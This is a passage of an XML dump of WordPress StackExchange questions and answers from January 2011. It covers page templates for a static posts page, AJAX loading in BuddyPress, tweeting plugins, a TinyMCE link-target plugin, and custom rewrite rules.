&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;blog&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;                &amp;lt;?php&#xA;                /* Run the loop to output the posts.&#xA;                 * If you want to overload this in a child theme then include a file&#xA;                 * called loop-index.php and that will be used instead.&#xA;                 */&#xA;                get_template_part( 'loop', 'index' );&#xA;                ?&amp;gt;&#xA;            &amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #content-bottom --&amp;gt;&#xA;    &amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;index.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * The main template file.&#xA; *&#xA; * This is the most generic template file in a WordPress theme&#xA; * and one of the two required files for a theme (the other being style.css).&#xA; * It is used to display a page when nothing more specific matches a query.&#xA; * E.g., it puts together the home page when no home.php file exists.&#xA; * Learn more: http://codex.wordpress.org/Template_Hierarchy&#xA; *&#xA; * @package WordPress&#xA; * @subpackage Starkers&#xA; * @since Starkers 3.0&#xA; */&#xA;&#xA;get_header(); ?&amp;gt;&#xA;&#xA;            &amp;lt;?php&#xA;            /* Run the loop to output the posts.&#xA;             * If you want to overload this in a child theme then include a file&#xA;             * called loop-index.php and that will be used instead.&#xA;             */&#xA;            get_template_part( 'loop', 'index' );&#xA;            ?&amp;gt;&#xA;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;loop.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * The loop that displays posts.&#xA; *&#xA; * The loop displays the posts and the post content.  See&#xA; * http://codex.wordpress.org/The_Loop to understand it and&#xA; * http://codex.wordpress.org/Template_Tags to understand&#xA; * the tags used in it.&#xA; *&#xA; * This can be overridden in child themes with loop.php or&#xA; * loop-template.php, where 'template' is the loop context&#xA; * requested by a template. For example, loop-index.php would&#xA; * be used if it exists and we ask for the loop with:&#xA; * &amp;lt;code&amp;gt;get_template_part( 'loop', 'index' );&amp;lt;/code&amp;gt;&#xA; *&#xA; * @package WordPress&#xA; * @subpackage Starkers&#xA; * @since Starkers 3.0&#xA; */&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php /* Display navigation to next/previous pages when applicable */ ?&amp;gt;&#xA;&amp;lt;?php if ( $wp_query-&amp;gt;max_num_pages &amp;gt; 1 ) : ?&amp;gt;&#xA;        &amp;lt;?php next_posts_link( __( '&amp;amp;larr; Older posts', 'twentyten' ) ); ?&amp;gt;&#xA;        &amp;lt;?php previous_posts_link( __( 'Newer posts &amp;amp;rarr;', 'twentyten' ) ); ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php /* If there are no posts to display, such as an empty archive page */ ?&amp;gt;&#xA;&amp;lt;?php if ( ! have_posts() ) : ?&amp;gt;&#xA;        &amp;lt;h1&amp;gt;&amp;lt;?php _e( 'Not Found', 'twentyten' ); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;?php _e( 'Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.', 'twentyten' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;?php get_search_form(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php /* Display the contents of static page Posts page */ ?&amp;gt;&#xA;&amp;lt;?php&#xA;if ( 'page' == get_option('show_on_front') &amp;amp;&amp;amp; get_option('page_for_posts') &amp;amp;&amp;amp; is_home() ) : the_post();&#xA;    $page_for_posts_id = get_option('page_for_posts');&#xA;    setup_postdata(get_page($page_for_posts_id));&#xA;?&amp;gt;&#xA;    &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; class=&quot;page&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;            &amp;lt;?php the_content(); ?&amp;gt;&#xA;            &amp;lt;?php edit_post_link('Edit', '', '', $page_for_posts_id); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;    rewind_posts();&#xA;endif;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;    /* Start the Loop.&#xA;     *&#xA;     * In Twenty Ten we use the same loop in multiple contexts.&#xA;     * It is broken into three main parts: when we're displaying&#xA;     * posts that are in the gallery category, when we're displaying&#xA;     * posts in the asides category, and finally all other posts.&#xA;     *&#xA;     * Additionally, we sometimes check for whether we are on an&#xA;     * archive page, a search page, etc., allowing for small differences&#xA;     * in the loop on each template without actually duplicating&#xA;     * the rest of the loop that is shared.&#xA;     *&#xA;     * Without further ado, the loop:&#xA;     */ ?&amp;gt;&#xA;&amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php /* How to display posts in the Gallery category. */ ?&amp;gt;&#xA;&#xA;    &amp;lt;?php if ( in_category( _x('gallery', 'gallery category slug', 'twentyten') ) ) : ?&amp;gt;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;?php twentyten_posted_on(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php if ( post_password_required() ) : ?&amp;gt;&#xA;                &amp;lt;?php the_content(); ?&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&amp;lt;?php&#xA;    $images = get_children( array( 'post_parent' =&amp;gt; $post-&amp;gt;ID, 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image', 'orderby' =&amp;gt; 'menu_order', 'order' =&amp;gt; 'ASC', 'numberposts' =&amp;gt; 999 ) );&#xA;    $total_images = count( $images );&#xA;    $image = array_shift( $images );&#xA;    $image_img_tag = wp_get_attachment_image( $image-&amp;gt;ID, 'thumbnail' );&#xA;?&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $image_img_tag; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;                &amp;lt;p&amp;gt;&amp;lt;?php printf( __( 'This gallery contains &amp;lt;a %1$s&amp;gt;%2$s photos&amp;lt;/a&amp;gt;.', 'twentyten' ),&#xA;                        'href=&quot;' . get_permalink() . '&quot; title=&quot;' . sprintf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ) . '&quot; rel=&quot;bookmark&quot;',&#xA;                        $total_images&#xA;                    ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;                &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php echo get_term_link( _x('gallery', 'gallery category slug', 'twentyten'), 'category' ); ?&amp;gt;&quot; title=&quot;&amp;lt;?php esc_attr_e( 'View posts in the Gallery category', 'twentyten' ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e( 'More Galleries', 'twentyten' ); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                |&#xA;                &amp;lt;?php comments_popup_link( __( 'Leave a comment', 'twentyten' ), __( '1 Comment', 'twentyten' ), __( '% Comments', 'twentyten' ) ); ?&amp;gt;&#xA;                &amp;lt;?php edit_post_link( __( 'Edit', 'twentyten' ), '|', '' ); ?&amp;gt;&#xA;&#xA;&amp;lt;?php /* How to display posts in the asides category */ ?&amp;gt;&#xA;&#xA;    &amp;lt;?php elseif ( in_category( _x('asides', 'asides category slug', 'twentyten') ) ) : ?&amp;gt;&#xA;&#xA;        &amp;lt;?php if ( is_archive() || is_search() ) : // Display excerpts for archives and search. ?&amp;gt;&#xA;            &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;        &amp;lt;?php else : ?&amp;gt;&#xA;            &amp;lt;?php the_content( __( 'Continue reading &amp;amp;rarr;', 'twentyten' ) ); ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                &amp;lt;?php twentyten_posted_on(); ?&amp;gt;&#xA;                |&#xA;                &amp;lt;?php comments_popup_link( __( 'Leave a comment', 'twentyten' ), __( '1 Comment', 'twentyten' ), __( '% Comments', 'twentyten' ) ); ?&amp;gt;&#xA;                &amp;lt;?php edit_post_link( __( 'Edit', 'twentyten' ), '| ', '' ); ?&amp;gt;&#xA;&#xA;&amp;lt;?php /* How to display all other posts. */ ?&amp;gt;&#xA;&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;?php twentyten_posted_on(); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php if ( is_archive() || is_search() ) : // Only display excerpts for archives and search. ?&amp;gt;&#xA;            &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;            &amp;lt;?php the_content( __( 'Continue reading &amp;amp;rarr;', 'twentyten' ) ); ?&amp;gt;&#xA;            &amp;lt;?php wp_link_pages( array( 'before' =&amp;gt; '' . __( 'Pages:', 'twentyten' ), 'after' =&amp;gt; '' ) ); ?&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                &amp;lt;?php if ( count( get_the_category() ) ) : ?&amp;gt;&#xA;                    &amp;lt;?php printf( __( 'Posted in %2$s', 'twentyten' ), 'entry-utility-prep entry-utility-prep-cat-links', get_the_category_list( ', ' ) ); ?&amp;gt;&#xA;                    |&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;?php&#xA;                    $tags_list = get_the_tag_list( '', ', ' );&#xA;                    if ( $tags_list ):&#xA;                ?&amp;gt;&#xA;                    &amp;lt;?php printf( __( 'Tagged %2$s', 'twentyten' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list ); ?&amp;gt;&#xA;                    |&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;?php comments_popup_link( __( 'Leave a comment', 'twentyten' ), __( '1 Comment', 'twentyten' ), __( '% Comments', 'twentyten' ) ); ?&amp;gt;&#xA;                &amp;lt;?php edit_post_link( __( 'Edit', 'twentyten' ), '| ', '' ); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php comments_template( '', true ); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php endif; // This was the if statement that broke the loop into three parts based on categories. ?&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; // End the loop. Whew. ?&amp;gt;&#xA;&#xA;&amp;lt;?php /* Display navigation to next/previous pages when applicable */ ?&amp;gt;&#xA;&amp;lt;?php if (  $wp_query-&amp;gt;max_num_pages &amp;gt; 1 ) : ?&amp;gt;&#xA;                &amp;lt;?php next_posts_link( __( '&amp;amp;larr; Older posts', 'twentyten' ) ); ?&amp;gt;&#xA;                &amp;lt;?php previous_posts_link( __( 'Newer posts &amp;amp;rarr;', 'twentyten' ) ); ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now it doesn't matter how much I modify the code inside &lt;strong&gt;blog.php&lt;/strong&gt; nothing changes (Even deleting everything changes nothing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I misunderstanding Wordpress' loop?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-26T13:22:25.053" LastActivityDate="2011-01-26T13:22:25.053" Title="Template file for static posts page does not get loaded?" Tags="&lt;posts&gt;&lt;homepage&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="7819" PostTypeId="1" AcceptedAnswerId="7821" CreationDate="2011-01-26T12:38:17.270" Score="1" ViewCount="294" Body="&lt;p&gt;Ive been trying to do this for a long time here...&#xA;First of all, im working with Buddypress latest ver. under WP latest ver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i want to do, is i want to understand how to call content within a php file via ajax. I know php is server side, so doing something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(#handle).click( function(){&#xA;$(#box).load('help.php' #content);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will only bring forth html within the document.But I have functions I need within, like let's say for example a user's avatar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php bp_loggedin_user_avatar()?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The returned content will stop at the function called. Will I have to create pages for all of the php files that I want to call content from? Or, &lt;code&gt;require&lt;/code&gt; the file to retrieve the content?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at some of the &lt;code&gt;$ajax&lt;/code&gt; Jquery uses around here, but I 'm not sure which one to implement. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to load certain content wrapped in specific divs in that php file. Basically, I just need help retrieving content that contains php lol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2741" LastActivityDate="2011-01-26T12:56:32.263" Title="Load created php file data via ajax" Tags="&lt;jquery&gt;&lt;buddypress&gt;&lt;ajax&gt;" AnswerCount="1" />
  <row Id="7820" PostTypeId="2" ParentId="7818" CreationDate="2011-01-26T12:44:28.610" Score="3" ViewCount="" Body="&lt;p&gt;If I remember right (template hierarchy gets messy in these parts) when you assign page to be &lt;code&gt;posts page&lt;/code&gt; then its template is ignored in favor of &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Home_Page_display&quot; rel=&quot;nofollow&quot;&gt;home page template branch&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So try editing &lt;code&gt;home.php&lt;/code&gt; (if you have it) or &lt;code&gt;index.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-26T12:44:28.610" CommentCount="2" />
  <row Id="7821" PostTypeId="2" ParentId="7819" CreationDate="2011-01-26T12:56:32.263" Score="2" ViewCount="" Body="&lt;p&gt;Well you want to hook into the wp_loaded action. Do the stuff you need to do and then exit the process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should probably look at &lt;a href=&quot;http://codex.wordpress.org/AJAX_in_Plugins&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/AJAX_in_Plugins&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2596" LastActivityDate="2011-01-26T12:56:32.263" CommentCount="1" />
  <row Id="7822" PostTypeId="1" CreationDate="2011-01-26T13:02:23.237" Score="0" ViewCount="45" Body="&lt;p&gt;Is there any existing plugin that will tweet all posts from a category and/or with a specific tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do &lt;em&gt;not&lt;/em&gt; want something that publishes everything I'm editing or posting. I just wan't to be able to create a set of tweets (in form of posts) to be published when the post itself is published.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to have full control over the content that's sent to twitter which means no magic rewrites of the content.&lt;/p&gt;&#xA;" OwnerUserId="2742" LastActivityDate="2011-01-26T13:29:09.817" Title="Publishing tweets from wordpress" Tags="&lt;plugins&gt;&lt;twitter&gt;" AnswerCount="1" />
  <row Id="7823" PostTypeId="2" ParentId="7818" CreationDate="2011-01-26T13:12:22.133" Score="4" ViewCount="" Body="&lt;p&gt;Don't forget about the &quot;Help&quot; button in the top-right of the WP admin screen!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Help refers to the &lt;a href=&quot;http://codex.wordpress.org/Settings_Reading_SubPanel&quot; rel=&quot;nofollow&quot;&gt;Settings Reading SubPanel&lt;/a&gt; page in the Codex which says the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Posts page&lt;/strong&gt; - Select in the drop-down box the name of the Page that will now contain your Posts. If you do not select a Page here, your Posts will only be accessible via other navigation features such as category, calendar, or archive links. Even if the selected Page is Password protected, visitors will NOT be prompted for a password when viewing the Posts Page. Also, any Template assigned the Page will be ignored and the theme's &lt;em&gt;index.php&lt;/em&gt; (or &lt;em&gt;home.php&lt;/em&gt; if it exists) will control the display of the posts.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In other words, the page you choose in that drop-down will act as nothing more than a placeholder and its contents and template are ignored completely (only the title is used). Use &lt;code&gt;home.php&lt;/code&gt; or &lt;code&gt;index.php&lt;/code&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;http://codex.wordpress.org/Creating_a_Static_Front_Page&quot; rel=&quot;nofollow&quot;&gt;Creating a Static Front Page&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2370" LastActivityDate="2011-01-26T13:12:22.133" CommentCount="1" />
  <row Id="7824" PostTypeId="2" ParentId="7785" CreationDate="2011-01-26T13:14:50.523" Score="1" ViewCount="" Body="&lt;p&gt;It seems TinyMCE provides no easy setting to select a default value. But there is another backdoor: the &lt;a href=&quot;http://tinymce.moxiecode.com/wiki.php/Configuration%3aexternal_link_list_url&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;external_link_list_url&lt;/code&gt;&lt;/a&gt; option of TinyMCE can point to an extra Javascript file that will be loaded in the link editor window. You can use it to populate a dropdown of frequent link destinations, but since it is a regular Javascript file we can also drop other content in it. Like code that will change the selected value of the target list dropdown if we are not editing an existing link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tinyMCEPopup.onInit.add( function() {&#xA;    if ( ! tinyMCEPopup.editor.dom.getParent( tinyMCEPopup.editor.selection.getNode(), 'A' ) ) {&#xA;        selectByValue( document.forms[0], 'target_list', '_blank' );&#xA;    }&#xA;} );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can create a WordPress plugin for this, so it will survive WP updates. Create a new directory under &lt;code&gt;wp-content/plugins/&lt;/code&gt; (call it whatever you like, so you can find it later). Create a PHP file in it (also called whatever you like), with the following contents. You can change the contents of the comment, this will define what you see in the &lt;em&gt;Plugins&lt;/em&gt; administration area.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: WPSE 7785&#xA;Plugin URI: http://wordpress.stackexchange.com/questions/7785/is-there-any-way-to-set-default-for-insertedit-link-to-open-link-in-new-window--&#xA;Description: Is there any way to set default for &quot;Insert/Edit Link&quot; to &quot;Open link in new window&quot;?  &#xA;Version: 1.0&#xA;Author: Jan Fabry&#xA;*/&#xA;add_filter( 'tiny_mce_before_init', 'wpse7785_tiny_mce_before_init' );&#xA;function wpse7785_tiny_mce_before_init( $initArray )&#xA;{&#xA;    $initArray['external_link_list_url'] = plugins_url( 'wpse-7785.js', __FILE__ );&#xA;    return $initArray;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now also create a Javascript file in that plugin directory, next to the PHP file. I called it &lt;code&gt;wpse-7785.js&lt;/code&gt;, you can choose something else, but be sure to update the name in the &lt;code&gt;plugins_url()&lt;/code&gt; call above. Place the contents of the first block in that Javascript file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Activate the plugin and go to your editor. When you go to the post editor and click the &quot;Edit link&quot; button, the correct value should be set for the &quot;Target&quot; dropdown.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-28T06:55:03.610" LastActivityDate="2011-01-28T06:55:03.610" CommentCount="3" />
  <row Id="7825" PostTypeId="2" ParentId="7822" CreationDate="2011-01-26T13:29:09.817" Score="1" ViewCount="" Body="&lt;p&gt;I think &lt;a href=&quot;http://wordpress.org/extend/plugins/twitter-tools/&quot; rel=&quot;nofollow&quot;&gt;Twitter Tools&lt;/a&gt; offers most of what you ask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever you post something, you can choose if Twitter Tools should post it to twitter or not. As far as I know, you can't tweet posts from a specific tag or category. But you do have control over which specific posts should be twitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you have this &quot;update tweets&quot; thing, which I haven't tried, but sounds like you can make it check for older posts which should be twitted and twit them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also make it do an automatic post with a digest of your tweets. Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-01-26T13:29:09.817" CommentCount="2" />
  <row Id="7826" PostTypeId="2" ParentId="7795" CreationDate="2011-01-26T13:39:41.990" Score="1" ViewCount="" Body="&lt;p&gt;This is a relatively simple task, and you only need to attach an appropriately coded page template to your chosen post's page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the page first loads, the main query holds data on the page, such as the title, content and so forth, we can shortcut to that by calling &lt;code&gt;the_post&lt;/code&gt; which will then allow us to simply call the template tags to produce the title(etc) for the page. Following that we can then call &lt;code&gt;query_posts&lt;/code&gt; and refill the main query object with a selection of posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is very similar to the examples given on the codex, here.&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Pages#A_Page_of_Posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Pages#A_Page_of_Posts&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main difference here, is that rather than creating a second query object, i'm just going to re-use the main one(why not, it makes sense in this context, imho).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adjust the code(Query parameters/HTML/Classes/IDs) as appropriate.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Template Name: Page of Posts&#xA; *&#xA; * Selectable from a dropdown menu on the edit page screen.&#xA; */&#xA;get_header(); &#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;&#xA;        &amp;lt;?php the_post(); // Setup post data so it's possible to call the regular loop template tags ?&amp;gt;&#xA;        &amp;lt;h2&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;h2&amp;gt;&#xA;        &amp;lt;div &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&amp;lt;?php the_content(); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;?php &#xA;        $args = array( &#xA;            'paged' =&amp;gt; (int) get_query_var('paged'), &#xA;            'post_type' =&amp;gt; 'post', &#xA;            'order' =&amp;gt; 'desc', &#xA;            'posts_per_page' =&amp;gt; 3, &#xA;            'caller_get_posts' =&amp;gt; 1 &#xA;        );&#xA;        // Now re-define the main query&#xA;        query_posts( $args ); &#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;?php if( have_posts() ) : ?&amp;gt;&#xA;&#xA;            &amp;lt;?php while( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;div &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&amp;lt;?php the_content(); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php //get_sidebar(); ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Updated response follows&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The template that deals with a post's page will differ if you use the &lt;code&gt;page_for_posts&lt;/code&gt; setting, don't try to use and a page template, use one or the other, since both will not work together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you want to show the post list/index on a page, and let your native theme files deal with rendering, set the &lt;code&gt;page_for_posts&lt;/code&gt; setting(admin &gt; settings &gt; reading).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you need to control how a page of posts renders, and do something custom with it, rather than fiddle around in the theme files trying to work out which file is dealing with the output, then adding conditional logic, instead create a page(or choose an existing one) and attach a page template to it. Only by &lt;strong&gt;not&lt;/strong&gt; setting the &lt;code&gt;page_for_posts&lt;/code&gt; setting do you allow this page to render using the attached template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/BIvjc.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ignore my front page setting, obviously you may have a more appropriate page set for that, simply notice how i've not set the posts page setting. If you set yours as done in the screenshot, the template provided will work correctly, and the posts page will behave just as it would when setting the posts page setting(except it will obviously do some custom stuff to).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Summary&lt;/strong&gt;&lt;br&gt;&#xA; - When you set the &lt;code&gt;page_for_posts&lt;/code&gt; setting you fore-go any ability to attach a template to that page, unset it and the template will work as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Rarst actually pointed out this behaviour to, in your other question...&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/7818/template-file-for-static-posts-page-does-not-get-loaded/7820#7820&quot;&gt;Template file for static posts page does not get loaded&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-01-26T20:16:19.510" LastActivityDate="2011-01-26T20:16:19.510" CommentCount="4" />
  <row Id="7827" PostTypeId="1" CreationDate="2011-01-26T13:54:49.847" Score="4" ViewCount="714" Body="&lt;p&gt;So I have a site with about 6 custom post types.Three of these post types are attached to a single custom taxonomy.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to be able to list_cats in the sidebar and spit out a url like &lt;strong&gt;../%post_type%/%taxonomy%/&lt;/strong&gt; and have this take you to the &lt;strong&gt;taxonomy-%taxonomy%.php&lt;/strong&gt; template and return only results of the &lt;strong&gt;%post_type%&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can create a conditional that will read the current &lt;strong&gt;%post_type%&lt;/strong&gt; and style correctly once in the &lt;strong&gt;taxonomy-%taxonomy%.php&lt;/strong&gt; file. I need some direction on the most effective method to modify the URL to pass the &lt;strong&gt;%post_type%&lt;/strong&gt; to the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.  I have searched for a couple days with no clear answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So here are my feeble attempts at a solution yet they are one big FAIL&lt;/strong&gt;&#xA;This is based off a discussion found at &lt;a href=&quot;http://www.rlmseo.com/blog/passing-get-query-string-parameters-in-wordpress-url/&quot; rel=&quot;nofollow&quot;&gt;rlmseo.com&lt;/a&gt; ant the answer here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Trying to add the post type to a variable to use in the Query:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;practice-areas is a taxonomy.  Trying to add a variable that I can use to filter the taxonomy by post type in taxonomy-practice-areas.php&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_query_vars($aVars) {&#xA;    $aVars[] = &quot;cust_pt_var&quot;;    // represents the name of the custom post type as shown in the URL&#xA;    return $aVars;&#xA;}&#xA;&#xA;// hook add_query_vars function into query_vars&#xA;add_filter('query_vars', 'add_query_vars');      &#xA;&#xA;function add_rewrite_rules($aRules) {&#xA;    $aNewRules = array('practice-areas/([^/]+)/pt/([^/]+)/?$' =&amp;gt; 'index.php?practice-areas=$matches[1]&amp;amp;cust_pt_var=$matches[2]');&#xA;    $aRules = $aNewRules + $aRules;&#xA;    return $aRules;&#xA;}&#xA;&#xA;// hook add_rewrite_rules function into rewrite_rules_array&#xA;add_filter('rewrite_rules_array', 